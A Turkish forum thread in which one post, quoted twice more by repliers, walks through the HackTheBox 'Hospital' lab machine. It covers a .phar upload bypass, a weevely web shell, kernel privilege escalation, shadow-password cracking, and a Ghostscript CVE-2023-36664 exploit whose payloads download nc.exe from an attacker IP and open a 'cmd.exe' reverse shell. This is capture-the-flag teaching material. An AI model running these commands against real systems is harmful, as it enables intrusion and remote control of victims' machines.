HackTheBox :: Hospital

Will Graham

Katılımcı Üye
14 Eki 2022
581
489
e980d18b909fa0ba8f519cf9777fd413.png


HackTheBox :: Hospital

Merhaba arkadaşlar, bu konumda HackTheBox platformunda bulunan "Hospital" isimli makinenin çözümünü göstereceğim. Bu makine windows tabanlı orta seviye bir makinedir. İlk önce bir port taraması yaparak başlıyorum.

CoffeeScript:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-26 15:10 EST
Nmap scan report for 10.10.11.241
Host is up (0.068s latency).
Not shown: 980 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
22/tcp   open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e14b4b3a6d18666939f7aa74b3160aaa (ECDSA)
|_  256 96c1dcd8972095e7015f20a24361cbca (ED25519)
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-12-27 03:10:56Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
443/tcp  open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
1801/tcp open  msmq?
2103/tcp open  msrpc             Microsoft Windows RPC
2105/tcp open  msrpc             Microsoft Windows RPC
2107/tcp open  msrpc             Microsoft Windows RPC
2179/tcp open  vmrdp?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3269/tcp open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2023-12-27T03:11:45+00:00
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2023-09-05T18:39:34
|_Not valid after:  2024-03-06T18:39:34
8080/tcp open  http              Apache httpd 2.4.55 ((Ubuntu))
| http-title: Login
|_Requested resource was login.php
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.55 (Ubuntu)
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m01s
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-12-27T03:11:50
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.52 seconds

nmap taraması sonucunda makine üzerinde http, dns, rdp, smb ve ne işe yaradığını bilmediğim bir sürü servisin bulunduğunu öğrendim. 443 numaralı https servisinde bir webmail uygulaması bulunuyor. Bu servisi kullanabilmemiz için haliyle kullanıcı bilgilerine ihtiyacımız var.

61nymts.png


8080 numaralı http servisinde ise kullanıcı girişini ve kaydını yapabileceğimiz bir form var.

rwq5x5i.png


Bir
kullanıcı oluşturup, sisteme giriş yaptığımızda bir dosya yükleme sayfası ile karşılaşıyoruz.

an9e2qn.png


Görünüşe göre
PHP dışında çoğu dosyayı kabul ediyor. Aşağıda ki php dosyalarını çalıştırabilecek uzantıları form üzerinde tek tek deneyeceğim.

"
.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module"
Bu uzantıların bir çoğu
uploads dizinine yüklenebiliyor ama iş çalıştırmaya gelince ya 403 hatası veriyorlar ya da kodu doğrudan ekrana yazdırıyorlar. Tek çalışan uzantı .phar oldu. Bu arada reverse shell kodunu yüklediğimde nedendir bilinmez bağlantıyı alamıyorum. Weevely aracı ile bir web shell oluşturup, bu web shell üzerinden reverse shell elde etmeyi deneyeceğim.

"
weevely generate 123 ada.phar" komutu ile bir web shell oluşturdum. "weevely http://10.10.11.241:8080/uploads/ada.phar 123" komutunu kullanarak da oluşturduğum web shell'e geçiş yaptım. Şimdi ise herhangi bir portu nc ile dinlemeye alıyorum. Son adım olarak ise weevely üzerinden ":backdoor_reversetcp 10.10.14.76 1234" komutunu kullanarak bu port'a bağlanmasını sağlıyorum.

5ag8uad.png


dizin yapısının windows sistemininkine benzemediğini fark etmişsinizdir. Buradan kurtulup windows sistemine geçmemiz gerekiyor. Bunun için taktir edeceğiniz üzere sistem hakkında bilgi toplamamız gerek.

ez89p6f.png


Bir alt dizinde
config.php adında bir dosya buldum. İçerisinde veri tabanı bilgileri bulunuyor. Burada ki şifre root ve drwilliams kullanıcısına ait değil. mysql veri tabanı içerisinden de bir şey çıkmadı.

Sistem hakkında
bilgi toplamaya devam ediyordum ki /tmp dizini altında linpeas.sh dosyasını gördüm. Sanırım biri bir sonuç elde edemediği için linpeas aracından faydalanmak istemiş. Madem biri zahmet edip indirmiş bende kolaylık olması amacıyla çalıştırayım.

mrvz92j.png


Sisteme bağlı oyuncuların oynadığı oyunları saymaz isek sadece kernel üzerinden yetki yükseltebiliriz.
Ubuntu Privilege Escalation New Exploit -CVE-
Komutu
çalıştırdıktan sonra yetki yükseltmiş olduk ama sistem içerisinde herhangi bir bilgi bulunmuyor. Haliyle kendimize boş yere mi sisteme giriş yaptık, yetki yükseltmek için çabaladık tarzında sorular soruyoruz. Tabi ki hayır. Bildiğiniz üzere sistemde drwilliams isminde bir kullanıcı mevcut. Geride bıraktığımız bilgiler arasında hatırlarsınız ki 443 portu üzerinde bir mail servisi bulunuyor. Bu servise giriş yapmak için bir kullanıcı adına ve şifresine ihtiyacımız var. Eğer /etc/shadow dosyasında ki bu kullanıcının şifresini kırabilirsek deneyecek bir kullanıcı bilgimiz olacak.


blgjd0j.png


Şifreyi kırması çokta uzun sürmedi wow. Her neyse kullanıcı bilgileri mail servisi ile uyuşuyor. bir bakalım içerisinde ne var.


hoq2uhh.png


Anladığım kadarıyla mesajda ona (mesajı gönderene) .eps uzantılı bir tasarım göndermemizi istiyor. GhostScript adında bir şey ile bu dosyaya başka şeyler yapacakmış falan. internette "ghostscript exploit" diye bir arama yaptım ve bu exploit'i buldum. içerisinde payload'ı nasıl oluşturabileceğimiz hakkında bir döküman mevcut. reverse shell alabilmek için kullanılan komut ile dosyayı oluşturduğumda bir bağlantı gelmedi. Bu yüzden diğer bir komut olan payload ekleme komutunu kullanacağım.
python3 CVE_2023_36664_exploit.py --inject --payload "curl http://10.10.14.76/nc64.exe -o nc.exe" --filename file.eps

Öncelikle yukarıda ki komut ile indirdiğim nc aracını sisteme çeken bir payload ekledim ve bu dosyayı webmail üzerinden gönderdim. Daha sonra ise aşağıda ki komut ile nc aracını kullanarak 4242 portuna bağlantı isteği gönderen bir payload ekledim ve gönderdim.

python3 CVE_2023_36664_exploit.py --inject --payload "nc.exe 10.10.14.76 4242 -e cmd.exe" --filename file.eps


iozc5m0.png


5xfa3g6.png


Gördüğünüz üzere yüklediğimiz nc.exe aracı içerisinde. Yanında ise sanırım mail'e gelen dosyayı downloads dizinine kayıt eden bir dosya var. Bu dosyanın içerisinde dr.brown'un şifresi bulunuyor.

3qrplnn.png


İlk bulmamız gereken kullanıcı bayrağı masaüstünde bulunmakta.

6mkb0hc.png


Geriye root bayrağı kaldı. bu bayrak adından da anlayacağınız üzere yetkili kullanıcının hesabında bulunuyor. Bir süre sistemde gezindikten ve hiçbir şey bulamamanın verdiği sıkıntıdan sonra elimde ki tek bilgiyi yani dr.brown'ın şifresini değerlendirmeye karar verdim. nmap taramasında 3389 (RDP) servisinin açık olduğunu görmüştük hatırlarsanız. Parrot Sec. sisteminde hazır olarak gelen remmina yazılımını kullanarak dr.brown'ın hesabına girdim ve ne göreyim, kendisi ruh hastası gibi sürekli olarak Administrator kullanıcısının bilgilerini webmail'e girip siliyordu. Tabi şifresini form üzerinden göremezdik. Bu yüzden masaüstünde bulunan user.txt dosyasını açtım kendisi sağ olsun şifreyi elime verdi.

hj3xf2d.png


Administrator hesabına giriş yaptıktan sonra ise masaüstünde ki root bayrağını alıyorum.

5jnqejo.png


yetki yükseltme kısmının sancılı geçeceğini düşünmüştüm oysaki :d
zaman ayırdığınız için teşekkür ederim.

HackTheBox :: Hospital
 
Son düzenleme:

drjacob

Uzman üye
21 Ocak 2012
1,775
404
localhost
e980d18b909fa0ba8f519cf9777fd413.png


HackTheBox :: Hospital

Merhaba arkadaşlar, bu konumda HackTheBox platformunda bulunan "Hospital" isimli makinenin çözümünü göstereceğim. Bu makine windows tabanlı orta seviye bir makinedir. İlk önce bir port taraması yaparak başlıyorum.

CoffeeScript:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-26 15:10 EST
Nmap scan report for 10.10.11.241
Host is up (0.068s latency).
Not shown: 980 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
22/tcp   open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e14b4b3a6d18666939f7aa74b3160aaa (ECDSA)
|_  256 96c1dcd8972095e7015f20a24361cbca (ED25519)
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-12-27 03:10:56Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
443/tcp  open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
1801/tcp open  msmq?
2103/tcp open  msrpc             Microsoft Windows RPC
2105/tcp open  msrpc             Microsoft Windows RPC
2107/tcp open  msrpc             Microsoft Windows RPC
2179/tcp open  vmrdp?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3269/tcp open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2023-12-27T03:11:45+00:00
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2023-09-05T18:39:34
|_Not valid after:  2024-03-06T18:39:34
8080/tcp open  http              Apache httpd 2.4.55 ((Ubuntu))
| http-title: Login
|_Requested resource was login.php
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.55 (Ubuntu)
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m01s
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-12-27T03:11:50
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.52 seconds

nmap taraması sonucunda makine üzerinde http, dns, rdp, smb ve ne işe yaradığını bilmediğim bir sürü servisin bulunduğunu öğrendim. 443 numaralı https servisinde bir webmail uygulaması bulunuyor. Bu servisi kullanabilmemiz için haliyle kullanıcı bilgilerine ihtiyacımız var.

61nymts.png


8080 numaralı http servisinde ise kullanıcı girişini ve kaydını yapabileceğimiz bir form var.

rwq5x5i.png


Bir
kullanıcı oluşturup, sisteme giriş yaptığımızda bir dosya yükleme sayfası ile karşılaşıyoruz.

an9e2qn.png


Görünüşe göre
PHP dışında çoğu dosyayı kabul ediyor. Aşağıda ki php dosyalarını çalıştırabilecek uzantıları form üzerinde tek tek deneyeceğim.

"
.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module"
Bu uzantıların bir çoğu
uploads dizinine yüklenebiliyor ama iş çalıştırmaya gelince ya 403 hatası veriyorlar ya da kodu doğrudan ekrana yazdırıyorlar. Tek çalışan uzantı .phar oldu. Bu arada reverse shell kodunu yüklediğimde nedendir bilinmez bağlantıyı alamıyorum. Weevely aracı ile bir web shell oluşturup, bu web shell üzerinden reverse shell elde etmeyi deneyeceğim.

"
weevely generate 123 ada.phar" komutu ile bir web shell oluşturdum. "weevely http://10.10.11.241:8080/uploads/ada.phar 123" komutunu kullanarak da oluşturduğum web shell'e geçiş yaptım. Şimdi ise herhangi bir portu nc ile dinlemeye alıyorum. Son adım olarak ise weevely üzerinden ":backdoor_reversetcp 10.10.14.76 1234" komutunu kullanarak bu port'a bağlanmasını sağlıyorum.

5ag8uad.png


dizin yapısının windows sistemininkine benzemediğini fark etmişsinizdir. Buradan kurtulup windows sistemine geçmemiz gerekiyor. Bunun için taktir edeceğiniz üzere sistem hakkında bilgi toplamamız gerek.

ez89p6f.png


Bir alt dizinde
config.php adında bir dosya buldum. İçerisinde veri tabanı bilgileri bulunuyor. Burada ki şifre root ve drwilliams kullanıcısına ait değil. mysql veri tabanı içerisinden de bir şey çıkmadı.

Sistem hakkında
bilgi toplamaya devam ediyordum ki /tmp dizini altında linpeas.sh dosyasını gördüm. Sanırım biri bir sonuç elde edemediği için linpeas aracından faydalanmak istemiş. Madem biri zahmet edip indirmiş bende kolaylık olması amacıyla çalıştırayım.

mrvz92j.png


Sisteme bağlı oyuncuların oynadığı oyunları saymaz isek sadece kernel üzerinden yetki yükseltebiliriz.
Ubuntu Privilege Escalation New Exploit -CVE-
Komutu
çalıştırdıktan sonra yetki yükseltmiş olduk ama sistem içerisinde herhangi bir bilgi bulunmuyor. Haliyle kendimize boş yere mi sisteme giriş yaptık, yetki yükseltmek için çabaladık tarzında sorular soruyoruz. Tabi ki hayır. Bildiğiniz üzere sistemde drwilliams isminde bir kullanıcı mevcut. Geride bıraktığımız bilgiler arasında hatırlarsınız ki 443 portu üzerinde bir mail servisi bulunuyor. Bu servise giriş yapmak için bir kullanıcı adına ve şifresine ihtiyacımız var. Eğer /etc/shadow dosyasında ki bu kullanıcının şifresini kırabilirsek deneyecek bir kullanıcı bilgimiz olacak.


blgjd0j.png


Şifreyi kırması çokta uzun sürmedi wow. Her neyse kullanıcı bilgileri mail servisi ile uyuşuyor. bir bakalım içerisinde ne var.


hoq2uhh.png


Anladığım kadarıyla mesajda ona (mesajı gönderene) .eps uzantılı bir tasarım göndermemizi istiyor. GhostScript adında bir şey ile bu dosyaya başka şeyler yapacakmış falan. internette "ghostscript exploit" diye bir arama yaptım ve bu exploit'i buldum. içerisinde payload'ı nasıl oluşturabileceğimiz hakkında bir döküman mevcut. reverse shell alabilmek için kullanılan komut ile dosyayı oluşturduğumda bir bağlantı gelmedi. Bu yüzden diğer bir komut olan payload ekleme komutunu kullanacağım.


Öncelikle yukarıda ki komut ile indirdiğim nc aracını sisteme çeken bir payload ekledim ve bu dosyayı webmail üzerinden gönderdim. Daha sonra ise aşağıda ki komut ile nc aracını kullanarak 4242 portuna bağlantı isteği gönderen bir payload ekledim ve gönderdim.





iozc5m0.png


5xfa3g6.png


Gördüğünüz üzere yüklediğimiz nc.exe aracı içerisinde. Yanında ise sanırım mail'e gelen dosyayı downloads dizinine kayıt eden bir dosya var. Bu dosyanın içerisinde dr.brown'un şifresi bulunuyor.

3qrplnn.png


İlk bulmamız gereken kullanıcı bayrağı masaüstünde bulunmakta.

6mkb0hc.png


Geriye root bayrağı kaldı. bu bayrak adından da anlayacağınız üzere yetkili kullanıcının hesabında bulunuyor. Bir süre sistemde gezindikten ve hiçbir şey bulamamanın verdiği sıkıntıdan sonra elimde ki tek bilgiyi yani dr.brown'ın şifresini değerlendirmeye karar verdim. nmap taramasında 3389 (RDP) servisinin açık olduğunu görmüştük hatırlarsanız. Parrot Sec. sisteminde hazır olarak gelen remmina yazılımını kullanarak dr.brown'ın hesabına girdim ve ne göreyim, kendisi ruh hastası gibi sürekli olarak Administrator kullanıcısının bilgilerini webmail'e girip siliyordu. Tabi şifresini form üzerinden göremezdik. Bu yüzden masaüstünde bulunan user.txt dosyasını açtım kendisi sağ olsun şifreyi elime verdi.

hj3xf2d.png


Administrator hesabına giriş yaptıktan sonra ise masaüstünde ki root bayrağını alıyorum.

5jnqejo.png


yetki yükseltme kısmının sancılı geçeceğini düşünmüştüm oysaki :d
zaman ayırdığınız için teşekkür ederim.

HackTheBox :: Hospital
eline sağlık hocam
 

Zwo

Katılımcı Üye
e980d18b909fa0ba8f519cf9777fd413.png


HackTheBox :: Hospital

Merhaba arkadaşlar, bu konumda HackTheBox platformunda bulunan "Hospital" isimli makinenin çözümünü göstereceğim. Bu makine windows tabanlı orta seviye bir makinedir. İlk önce bir port taraması yaparak başlıyorum.

CoffeeScript:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-26 15:10 EST
Nmap scan report for 10.10.11.241
Host is up (0.068s latency).
Not shown: 980 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
22/tcp   open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e14b4b3a6d18666939f7aa74b3160aaa (ECDSA)
|_  256 96c1dcd8972095e7015f20a24361cbca (ED25519)
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-12-27 03:10:56Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
443/tcp  open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
1801/tcp open  msmq?
2103/tcp open  msrpc             Microsoft Windows RPC
2105/tcp open  msrpc             Microsoft Windows RPC
2107/tcp open  msrpc             Microsoft Windows RPC
2179/tcp open  vmrdp?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3269/tcp open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2023-12-27T03:11:45+00:00
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2023-09-05T18:39:34
|_Not valid after:  2024-03-06T18:39:34
8080/tcp open  http              Apache httpd 2.4.55 ((Ubuntu))
| http-title: Login
|_Requested resource was login.php
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.55 (Ubuntu)
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m01s
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-12-27T03:11:50
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.52 seconds

nmap taraması sonucunda makine üzerinde http, dns, rdp, smb ve ne işe yaradığını bilmediğim bir sürü servisin bulunduğunu öğrendim. 443 numaralı https servisinde bir webmail uygulaması bulunuyor. Bu servisi kullanabilmemiz için haliyle kullanıcı bilgilerine ihtiyacımız var.

61nymts.png


8080 numaralı http servisinde ise kullanıcı girişini ve kaydını yapabileceğimiz bir form var.

rwq5x5i.png


Bir
kullanıcı oluşturup, sisteme giriş yaptığımızda bir dosya yükleme sayfası ile karşılaşıyoruz.

an9e2qn.png


Görünüşe göre
PHP dışında çoğu dosyayı kabul ediyor. Aşağıda ki php dosyalarını çalıştırabilecek uzantıları form üzerinde tek tek deneyeceğim.

"
.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module"
Bu uzantıların bir çoğu
uploads dizinine yüklenebiliyor ama iş çalıştırmaya gelince ya 403 hatası veriyorlar ya da kodu doğrudan ekrana yazdırıyorlar. Tek çalışan uzantı .phar oldu. Bu arada reverse shell kodunu yüklediğimde nedendir bilinmez bağlantıyı alamıyorum. Weevely aracı ile bir web shell oluşturup, bu web shell üzerinden reverse shell elde etmeyi deneyeceğim.

"
weevely generate 123 ada.phar" komutu ile bir web shell oluşturdum. "weevely http://10.10.11.241:8080/uploads/ada.phar 123" komutunu kullanarak da oluşturduğum web shell'e geçiş yaptım. Şimdi ise herhangi bir portu nc ile dinlemeye alıyorum. Son adım olarak ise weevely üzerinden ":backdoor_reversetcp 10.10.14.76 1234" komutunu kullanarak bu port'a bağlanmasını sağlıyorum.

5ag8uad.png


dizin yapısının windows sistemininkine benzemediğini fark etmişsinizdir. Buradan kurtulup windows sistemine geçmemiz gerekiyor. Bunun için taktir edeceğiniz üzere sistem hakkında bilgi toplamamız gerek.

ez89p6f.png


Bir alt dizinde
config.php adında bir dosya buldum. İçerisinde veri tabanı bilgileri bulunuyor. Burada ki şifre root ve drwilliams kullanıcısına ait değil. mysql veri tabanı içerisinden de bir şey çıkmadı.

Sistem hakkında
bilgi toplamaya devam ediyordum ki /tmp dizini altında linpeas.sh dosyasını gördüm. Sanırım biri bir sonuç elde edemediği için linpeas aracından faydalanmak istemiş. Madem biri zahmet edip indirmiş bende kolaylık olması amacıyla çalıştırayım.

mrvz92j.png


Sisteme bağlı oyuncuların oynadığı oyunları saymaz isek sadece kernel üzerinden yetki yükseltebiliriz.
Ubuntu Privilege Escalation New Exploit -CVE-
Komutu
çalıştırdıktan sonra yetki yükseltmiş olduk ama sistem içerisinde herhangi bir bilgi bulunmuyor. Haliyle kendimize boş yere mi sisteme giriş yaptık, yetki yükseltmek için çabaladık tarzında sorular soruyoruz. Tabi ki hayır. Bildiğiniz üzere sistemde drwilliams isminde bir kullanıcı mevcut. Geride bıraktığımız bilgiler arasında hatırlarsınız ki 443 portu üzerinde bir mail servisi bulunuyor. Bu servise giriş yapmak için bir kullanıcı adına ve şifresine ihtiyacımız var. Eğer /etc/shadow dosyasında ki bu kullanıcının şifresini kırabilirsek deneyecek bir kullanıcı bilgimiz olacak.


blgjd0j.png


Şifreyi kırması çokta uzun sürmedi wow. Her neyse kullanıcı bilgileri mail servisi ile uyuşuyor. bir bakalım içerisinde ne var.


hoq2uhh.png


Anladığım kadarıyla mesajda ona (mesajı gönderene) .eps uzantılı bir tasarım göndermemizi istiyor. GhostScript adında bir şey ile bu dosyaya başka şeyler yapacakmış falan. internette "ghostscript exploit" diye bir arama yaptım ve bu exploit'i buldum. içerisinde payload'ı nasıl oluşturabileceğimiz hakkında bir döküman mevcut. reverse shell alabilmek için kullanılan komut ile dosyayı oluşturduğumda bir bağlantı gelmedi. Bu yüzden diğer bir komut olan payload ekleme komutunu kullanacağım.


Öncelikle yukarıda ki komut ile indirdiğim nc aracını sisteme çeken bir payload ekledim ve bu dosyayı webmail üzerinden gönderdim. Daha sonra ise aşağıda ki komut ile nc aracını kullanarak 4242 portuna bağlantı isteği gönderen bir payload ekledim ve gönderdim.





iozc5m0.png


5xfa3g6.png


Gördüğünüz üzere yüklediğimiz nc.exe aracı içerisinde. Yanında ise sanırım mail'e gelen dosyayı downloads dizinine kayıt eden bir dosya var. Bu dosyanın içerisinde dr.brown'un şifresi bulunuyor.

3qrplnn.png


İlk bulmamız gereken kullanıcı bayrağı masaüstünde bulunmakta.

6mkb0hc.png


Geriye root bayrağı kaldı. bu bayrak adından da anlayacağınız üzere yetkili kullanıcının hesabında bulunuyor. Bir süre sistemde gezindikten ve hiçbir şey bulamamanın verdiği sıkıntıdan sonra elimde ki tek bilgiyi yani dr.brown'ın şifresini değerlendirmeye karar verdim. nmap taramasında 3389 (RDP) servisinin açık olduğunu görmüştük hatırlarsanız. Parrot Sec. sisteminde hazır olarak gelen remmina yazılımını kullanarak dr.brown'ın hesabına girdim ve ne göreyim, kendisi ruh hastası gibi sürekli olarak Administrator kullanıcısının bilgilerini webmail'e girip siliyordu. Tabi şifresini form üzerinden göremezdik. Bu yüzden masaüstünde bulunan user.txt dosyasını açtım kendisi sağ olsun şifreyi elime verdi.

hj3xf2d.png


Administrator hesabına giriş yaptıktan sonra ise masaüstünde ki root bayrağını alıyorum.

5jnqejo.png


yetki yükseltme kısmının sancılı geçeceğini düşünmüştüm oysaki :d
zaman ayırdığınız için teşekkür ederim.

HackTheBox :: Hospital
Elinize sağlık hocam gayet güzel anlatım olmuş
 

ByToluidin

Özel Üye
27 Ocak 2007
3,171
550
Hocam bu platforma para vermeye değer mi? yoksa local makine kurup test yapmakla farkı var mı?
Fark yok ama Rank sisteminin olması insanlarda farkli bir motivasyon sağlıyor. Htb zor gelebilir ama tryhackme biraz daha yönlendirmeli sistemle çalıştığı için tavsiye ederim.
 
Üst

